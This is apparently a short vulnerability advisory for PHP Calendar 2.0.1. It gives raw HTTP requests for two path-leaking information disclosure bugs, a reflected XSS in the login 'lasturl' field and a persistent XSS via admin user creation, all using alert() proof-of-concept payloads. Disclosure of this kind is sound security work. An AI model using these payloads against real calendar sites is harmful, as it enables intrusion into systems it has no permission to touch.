# ============================================================== # Title ...| PHP Calendar Multiple vulnerabilities # Version .| php-calendar-2.0.1.zip # Date ....| 27.02.2014 # Found ...| HauntIT Blog # Home ....| http://sourceforge.net # ============================================================== [+] As guest # ============================================================== # 1. Information disclosure bug ---<request>--- GET /k/cms/phpcalendar/php-calendar-2.0.1/index.php?action='`"%3b--#%%2f%2a&year=2014&month=1&day=28 HTTP/1.1 Host: 10.149.14.62 ---<request>--- ---<response>--- <pre>#0 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(676): soft_error('Invalid action') #1 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(626): do_action() #2 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/index.php(76): display_phpc() #3 {main}</pre> ---<response>--- # ============================================================== # 2. XSS ---<request>--- POST /k/cms/phpcalendar/php-calendar-2.0.1/index.php HTTP/1.1 Host: 10.149.14.62 (...) Content-Type: application/x-www-form-urlencoded Content-Length: 104 lasturl='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&action=login&submit=Log+in&username=admin&password=asd ---<request>--- # ============================================================== # 3. Information disclosure bug ---<request>--- POST /k/cms/phpcalendar/php-calendar-2.0.1/index.php HTTP/1.1 Host: 10.149.14.62 (...) Content-Length: 132 action=search&phpcid=1&searchstring=asdasd&search-from-date='`"%3b--#%%2f%2a&search-to-date=02%2F21%2F2014&sort=start_date&order=ASC ---<request>--- ---<response>--- <div class="phpc-main"><h2>Error</h2> <p>Malformed &quot;search-from&quot; date: &quot;\'`\&quot;;--#%/*&quot;</p> <h3>Backtrace</h3> <pre>#0 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(843): soft_error('Malformed &quot;sear...') #1 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/search.php(31): get_timestamp('search-from') #2 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/search.php(129): search_results() #3 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(680) : eval()'d code(1): search() #4 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(680): eval() #5 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(626): do_action() #6 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/index.php(76): display_phpc() #7 {main}</pre> ---<response>--- # ============================================================== # [+] From admin logged-in # ============================================================== #4. Persistent XSS ---<request>--- POST /k/cms/phpcalendar/php-calendar-2.0.1/index.php HTTP/1.1 Host: 10.149.14.62 (...) Content-Length: 197 phpc_token=ALRTjtU1Qnv0LMm1G_BeiQSEUyGGHPYGrGMk8L6sfaI&action=user_create&submit_form=submit_form&submit=Submit&user_name='%3e"%3e%3cbody%2fonload%3dalert(123123)%3e&password1=aaaaa&password2=aaaaa ---<request>--- # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) # o/